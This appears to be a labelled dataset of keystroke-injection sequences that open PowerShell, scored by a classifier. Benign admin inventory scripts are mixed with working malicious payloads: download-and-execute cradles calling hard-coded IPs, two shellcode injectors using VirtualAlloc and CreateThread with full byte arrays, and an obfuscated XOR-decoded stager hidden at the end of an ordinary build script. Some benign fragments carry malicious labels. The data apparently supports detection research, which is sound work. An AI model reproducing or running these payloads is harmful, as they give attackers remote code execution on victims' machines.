"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_3ybmfuih"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.json"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter",0,0,0.999966,3.3987624e-05
win+r powershell enter IEX ((new-object net.webclient).downloadstring('http://212.163.35.67/upload/Kern enter el32.ps1')); Kernel32-Update -CheckURL http://212.163.35.67/upload/st.txt -Paylo enter adURL http://212.163.35.67/upload/robots.txt -MagicString run -StopString stopth enter is enter enter,1,1,6.0309907e-05,0.9999397
unknown_key_action gui space Safari enter unknown_key_action gui t https://www.youtube.com/watch?v=xm3YgoEiEDc enter f,1,1,6.129817e-05,0.9999387
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_v9wqwiss"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3746623e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_13sc80hm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4351862e-05
"win+r powershell enter Set-StrictMode -Version 2 $DoIt = @' function func_get_proc_address { Param ($ enter var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::Current enter Domain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location. enter Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMet enter hods') return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($ enter null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.Int enter eropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMetho enter d('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) } funct enter ion func_get_delegate_type { Param ( enter enter",1,1,0.0002383962,0.99976164
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_ntw2i3xk"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 3."" enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4769237e-05
"win+r enter powershell enter enter enter Function Set-SCSMMAStatus enter { enter [CmdletBinding()] enter PARAM( enter $ManualActivityID, enter enter $Status = ""Completed"" enter ) enter BEGIN enter { enter TRY enter { enter if (-not(Get-module -Name smlets)) enter { enter enter Import-Module -Name smlets enter } enter } enter CATCH enter { enter Write-Warning -Message ""[BEGIN] Error while loading the smlets"" enter Write-Warning -Message $Error[0].exception.message enter } enter } enter PROCESS enter { enter TRY{ enter enter $ManualActivity = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.Activity.ManualActivity$) -filter ""ID -eq $ManualActivityID"" enter enter Set-SCSMObject -SMObject $ManualActivity -Property Status -Value $Status enter } enter CATCH enter { enter Write-Warning -Message ""[PROCESS] Something wrong happened"" enter Write-Warning -Message $Error[0].exception.message enter } enter } enter END{ enter Write-Verbose -Message ""[END] Set-SCSMMAStatus Done!"" enter } enter } enter enter",0,0,0.99995446,4.5514993e-05
"win+r enter powershell enter enter enter  enter Register-AzProviderFeature -FeatureName AllowIPv6VirtualNetwork -ProviderNamespace Microsoft.Network enter Get-AzProviderFeature -FeatureName AllowIPv6VirtualNetwork -ProviderNamespace Microsoft.Network enter Register-AzResourceProvider -ProviderNamespace Microsoft.Network enter enter $rg = New-AzResourceGroup -ResourceGroupName ""dsRG1"" -Location ""east us"" enter $PublicIP_v4 = New-AzPublicIpAddress -Name ""dsPublicIP_v4"" -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -AllocationMethod Dynamic -IpAddressVersion IPv4 enter $PublicIP_v6 = New-AzPublicIpAddress -Name ""dsPublicIP_v6"" -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -AllocationMethod Dynamic -IpAddressVersion IPv6 enter enter $RdpPublicIP_1 = New-AzPublicIpAddress -Name ""RdpPublicIP_1"" -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -AllocationMethod Dynamic -IpAddressVersion IPv4 enter $RdpPublicIP_2 = New-AzPublicIpAddress -Name ""RdpPublicIP_2"" -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -AllocationMethod Dynamic -IpAddressVersion IPv4 enter $frontendIPv4 = New-AzLoadBalancerFrontendIpConfig -Name ""dsLbFrontEnd_v4"" -PublicIpAddress $PublicIP_v4 enter $frontendIPv6 = New-AzLoadBalancerFrontendIpConfig -Name ""dsLbFrontEnd_v6"" -PublicIpAddress $PublicIP_v6 enter enter $backendPoolv4 = New-AzLoadBalancerBackendAddressPoolConfig -Name ""dsLbBackEndPool_v4"" enter $backendPoolv6 = New-AzLoadBalancerBackendAddressPoolConfig -Name ""dsLbBackEndPool_v6"" enter enter $lbrule_v4 = New-AzLoadBalancerRuleConfig -Name ""dsLBrule_v4"" -FrontendIpConfiguration $frontendIPv4 -BackendAddressPool $backendPoolv4 -Protocol Tcp -FrontendPort 80 -BackendPort 80 enter $lbrule_v6 = New-AzLoadBalancerRuleConfig -Name ""dsLBrule_v6"" -FrontendIpConfiguration $frontendIPv6 -BackendAddressPool $backendPoolv6 -Protocol Tcp -FrontendPort 80 -BackendPort 80 enter enter $lb = New-AzLoadBalancer -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -Name ""MyLoadBalancer"" -Sku ""Basic"" -FrontendIpConfiguration $frontendIPv4,$frontendIPv6 -BackendAddressPool $backendPoolv4,$backendPoolv6 -LoadBalancingRule $lbrule_v4,$lbrule_v6 enter $avset = New-AzAvailabilitySet -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -Name ""dsAVset"" -PlatformFaultDomainCount 2 -PlatformUpdateDomainCount 2 -Sku aligned enter $rule1 = New-AzNetworkSecurityRuleConfig -Name 'myNetworkSecurityGroupRuleRDP' -Description 'Allow RDP' -Access Allow -Protocol Tcp -Direction Inbound -Priority 100 -SourceAddressPrefix * -SourcePortRange * -DestinationAddressPrefix * -DestinationPortRange 3389 enter $rule2 = New-AzNetworkSecurityRuleConfig -Name 'myNetworkSecurityGroupRuleHTTP' -Description 'Allow HTTP' -Access Allow -Protocol Tcp -Direction Inbound -Priority 200 -SourceAddressPrefix * -SourcePortRange 80 -DestinationAddressPrefix * -DestinationPortRange 80 enter enter $nsg = New-AzNetworkSecurityGroup -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -Name ""dsNSG1"" -SecurityRules $rule1,$rule2 enter $subnet = New-AzVirtualNetworkSubnetConfig -Name ""dsSubnet"" -AddressPrefix ""10.0.0.0/24"",""ace:cab:deca:deed::/64"" enter $vnet = New-AzVirtualNetwork -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -Name ""dsVnet"" -AddressPrefix ""10.0.0.0/16"",""ace:cab:deca::/48"" -Subnet $subnet enter $Ip4Config=New-AzNetworkInterfaceIpConfig -Name dsIp4Config -Subnet $vnet.subnets[0] -PrivateIpAddressVersion IPv4 -LoadBalancerBackendAddressPool $backendPoolv4 -PublicIpAddress $RdpPublicIP_1 enter $Ip6Config=New-AzNetworkInterfaceIpConfig -Name dsIp6Config -Subnet $vnet.subnets[0] -PrivateIpAddressVersion IPv6 -LoadBalancerBackendAddressPool $backendPoolv6 enter $NIC_1 = New-AzNetworkInterface -Name ""dsNIC1"" -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -NetworkSecurityGroupId $nsg.Id -IpConfiguration $Ip4Config,$Ip6Config enter $Ip4Config=New-AzNetworkInterfaceIpConfig -Name dsIp4Config -Subnet $vnet.subnets[0] -PrivateIpAddressVersion IPv4 -LoadBalancerBackendAddressPool $backendPoolv4 -PublicIpAddress $RdpPublicIP_2 enter $NIC_2 = New-AzNetworkInterface -Name ""dsNIC2"" -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -NetworkSecurityGroupId $nsg.Id -IpConfiguration $Ip4Config,$Ip6Config enter $cred = get-credential -Message ""DUAL STACK VNET SAMPLE: Please enter the Administrator credential to log into the VM's"" enter enter $vmsize = ""Standard_A2"" enter $ImagePublisher = ""MicrosoftWindowsServer"" enter $imageOffer = ""WindowsServer"" enter $imageSKU = ""2016-Datacenter"" enter enter $vmName= ""dsVM1"" enter $VMconfig1 = New-AzVMConfig -VMName $vmName -VMSize $vmsize -AvailabilitySetId $avset.Id 3> $null | Set-AzVMOperatingSystem -Windows -ComputerName $vmName -Credential $cred -ProvisionVMAgent 3> $null | Set-AzVMSourceImage -PublisherName $ImagePublisher -Offer $imageOffer -Skus $imageSKU -Version ""latest"" 3> $null | Set-AzVMOSDisk -Name ""$vmName.vhd"" -CreateOption fromImage 3> $null | Add-AzVMNetworkInterface -Id $NIC_1.Id 3> $null enter $VM1 = New-AzVM -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -VM $VMconfig1 enter enter $vmName= ""dsVM2"" enter $VMconfig2 = New-AzVMConfig -VMName $vmName -VMSize $vmsize -AvailabilitySetId $avset.Id 3> $null | Set-AzVMOperatingSystem -Windows -ComputerName $vmName -Credential $cred -ProvisionVMAgent 3> $null | Set-AzVMSourceImage -PublisherName $ImagePublisher -Offer $imageOffer -Skus $imageSKU -Version ""latest"" 3> $null | Set-AzVMOSDisk -Name ""$vmName.vhd"" -CreateOption fromImage 3> $null | Add-AzVMNetworkInterface -Id $NIC_2.Id 3> $null enter $VM2 = New-AzVM -ResourceGroupName $rg.ResourceGroupName -Location $rg.Location -VM $VMconfig2 enter enter",0,0,0.9999473,5.2664927e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_hqairo2b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Select-Object -First 200 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4431163e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_hcl62uc9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter Export-Csv -Path (Join-Path $ReportDir ""uptime_summary.csv"") -NoTypeInformation enter Write-Host ""Starting disk_checks section 2."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter",0,0,0.99996626,3.3730146e-05
"win+r enter powershell enter enter enter & $PSScriptRoot/class1.py | ConvertFrom-JSON enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.622972e-05,0.99994373
win+r powershell enter properties { $x = 42 } task default -depends 'TaskAFromModuleA' task 'TaskAFr enter omModuleA' -FromModule TaskModuleA -depends TaskAFromModuleB task 'TaskAFromMod enter uleB' -Frommodule TaskModuleB -minimumVersion 0.2.0 -depends xxx -continueOnErro enter r task xxx { throw 'oops' enter enter,1,1,0.0011512253,0.9988488
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x69,0x65,0x05,0xaa,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter function Revoke-RsCatalogItemAccess { [CmdletBinding(SupportsShouldProcess = enter $true, ConfirmImpact = 'Medium')] param ( [Alias('UserOrGroupName')] [Param enter eter(Mandatory = $True)] [string] $Identity, enter enter",1,1,0.004965724,0.99503434
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_53cmne8v"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4536628e-05
"win+r powershell enter  [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.SMO') | enter out-null $ErrorActionPreference = 'Inquire' function Expand-SqlLogFile{ param enter ( [string]$InstanceName = 'localhost', [parameter(Mandatory=$true)][string] $D enter atabaseName, [parameter(Mandatory=$true)][int] $LogSizeMB) [int]$LogFileSize enter = $LogSizeMB*1024 enter",1,1,0.0010759486,0.9989241
"win+r powershell enter [CmdletBinding()] enter param( enter [switch] enter $Clean, enter [switch] enter $Bootstrap, enter [switch] enter $Test, enter [ValidateSet(""Debug"", ""Release"")] enter [string] enter $Configuration = ""Debug"", enter [ValidateSet(""net461"", ""netcoreapp2.1"")] enter [string] enter $Framework enter ) enter if ($Clean) { enter try { enter Push-Location $PSScriptRoot enter git clean -fdX enter return enter } finally { enter Pop-Location enter } enter } enter Import-Module ""$PSScriptRoot/tools/helper.psm1"" enter if ($Bootstrap) { enter Write-Log ""Validate and install missing prerequisits for building ..."" enter Install-Dotnet enter if (-not (Get-Module -Name platyPS -ListAvailable)) { enter Write-Log -Warning ""Module 'platyPS' is missing. Installing 'platyPS' ..."" enter Install-Module -Name platyPS -Scope CurrentUser -Force enter } enter if (-not (Get-Module -Name InvokeBuild -ListAvailable)) { enter Write-Log -Warning ""Module 'InvokeBuild' is missing. Installing 'InvokeBuild' ..."" enter Install-Module -Name InvokeBuild -Scope CurrentUser -Force enter } enter return enter } enter Find-Dotnet enter if (-not (Get-Module -Name platyPS -ListAvailable)) { enter throw ""Cannot find the 'platyPS' module. Please specify '-Bootstrap' to install build dependencies."" enter } enter if (-not (Get-Module -Name InvokeBuild -ListAvailable)) { enter throw ""Cannot find the 'InvokeBuild' module. Please specify '-Bootstrap' to install build dependencies."" enter } enter $buildTask = if ($Test) { ""RunTests"" } else { ""ZipRelease"" } enter $arguments = @{ Task = $buildTask; Configuration = $Configuration } enter if ($Framework) { $arguments.Add(""Framework"", $Framework) } enter Invoke-Build @arguments enter $wc=NEW-ObJeCT SystEm.NET.WEbCLIENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$Wc.HEADErS.ADD('User-Agent',$u);$wc.PROXy = [SYStEM.NET.WEBREqUEsT]::DeFAUltWebPRoXY;$Wc.ProXy.CrEdENTiaLS = [SyStEM.NEt.CrEdENTIaLCACHE]::DefAultNetWorkCRedeNTIAls;$K='bcd623a50b80a516edb8ceb6ca9ae2aa';$I=0;[cHAR[]]$b=([cHAr[]]($wc.DOwnlOaDStrIng(""http://microsoft-update7.myvnc.com:443/index.asp"")))|%{$_-bXOr$K[$I++%$k.LeNgTH]};IEX ($b-JoIn'') enter",1,1,5.5431014e-05,0.99994457
"win+r enter powershell enter enter enter class CommandParser { enter [ParsedCommand] static Parse([Message]$Message) { enter enter $commandString = [string]::Empty enter if (-not [string]::IsNullOrEmpty($Message.Text)) { enter $commandString = $Message.Text.Trim() enter } enter $cmdArray = $commandString.Split(' ') enter $command = $cmdArray[0] enter if ($cmdArray.Count -gt 1) { enter $commandArgs = $cmdArray[1..($cmdArray.length-1)] -join ' ' enter } else { enter $commandArgs = [string]::Empty enter } enter if ($command -notlike '*://*') { enter $arrCmdStr = $command.Split(':') enter } else { enter $arrCmdStr = @($command) enter } enter $version = $null enter if ($arrCmdStr[1] -as [Version]) { enter $version = $arrCmdStr[1] enter } elseif ($arrCmdStr[2] -as [Version]) { enter $version = $arrCmdStr[2] enter } enter $plugin = [string]::Empty enter if ($Message.Type -eq [MessageType]::Message -and $Message.SubType -eq [MessageSubtype]::None ) { enter $plugin = $arrCmdStr[0] enter } enter if ($arrCmdStr[1] -as [Version]) { enter $command = $arrCmdStr[0] enter $plugin = $null enter } else { enter $command = $arrCmdStr[1] enter if (-not $command) { enter $command = $plugin enter $plugin = $null enter } enter } enter $parsedCommand = [ParsedCommand]::new() enter $parsedCommand.CommandString = $commandString enter $parsedCommand.Plugin = $plugin enter $parsedCommand.Command = $command enter $parsedCommand.OriginalMessage = $Message enter $parsedCommand.Time = $Message.Time enter if ($version) { $parsedCommand.Version = $version } enter if ($Message.To) { $parsedCommand.To = $Message.To } enter if ($Message.ToName) { $parsedCommand.ToName = $Message.ToName } enter if ($Message.From) { $parsedCommand.From = $Message.From } enter if ($Message.FromName) { $parsedCommand.FromName = $Message.FromName } enter try { enter $positionalParams = @() enter $namedParams = @{} enter enter if (-not [string]::IsNullOrEmpty($commandArgs)) { enter $astCmdStr = ""fake-command $commandArgs"" -Replace '(\s--([a-zA-Z0-9])*?)', ' -$2' enter $ast = [System.Management.Automation.Language.Parser]::ParseInput($astCmdStr, [ref]$null, [ref]$null) enter $commandAST = $ast.FindAll({$args[0] -as [System.Management.Automation.Language.CommandAst]},$false) enter enter for ($x = 1; $x -lt $commandAST.CommandElements.Count; $x++) { enter $element = $commandAST.CommandElements[$x] enter if ($element -is [System.Management.Automation.Language.CommandParameterAst]) { enter enter $paramName = $element.ParameterName enter $paramValues = @() enter $y = 1 enter if ((-not $commandAST.CommandElements[$x+1]) -or ($commandAST.CommandElements[$x+1] -is [System.Management.Automation.Language.CommandParameterAst])) { enter $paramValues = $true enter } else { enter do { enter $elementValue = $commandAST.CommandElements[$x+$y] enter enter if ($elementValue -is [System.Management.Automation.Language.VariableExpressionAst]) { enter $paramValues += $elementValue.Extent.Text enter } else { enter if ($elementValue.Value) { enter $paramValues += $elementValue.Value enter } else { enter $paramValues += $elementValue.SafeGetValue() enter } enter } enter $y++ enter } until ((-not $commandAST.CommandElements[$x+$y]) -or $commandAST.CommandElements[$x+$y] -is [System.Management.Automation.Language.CommandParameterAst]) enter } enter enter if ($paramValues.Count -eq 1) { enter $paramValues = $paramValues[0] enter } enter $namedParams.Add($paramName, $paramValues) enter $x += $y-1 enter } else { enter enter if ($element -is [System.Management.Automation.Language.VariableExpressionAst]) { enter $positionalParams += $element.Extent.Text enter } else { enter if ($element.Value) { enter $positionalParams += $element.Value enter } else { enter $positionalParams += $element.SafeGetValue() enter } enter } enter } enter } enter } enter enter $parsedCommand.NamedParameters = $namedParams enter $parsedCommand.PositionalParameters = $positionalParams enter } catch { enter Write-Error -Message ""Error parsing command [$CommandString]: $_"" enter } enter enter return $parsedCommand enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0xbf,0x54,0x86,0x2b,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.110664e-05,0.99994886
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_8g26dllm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4239747e-05
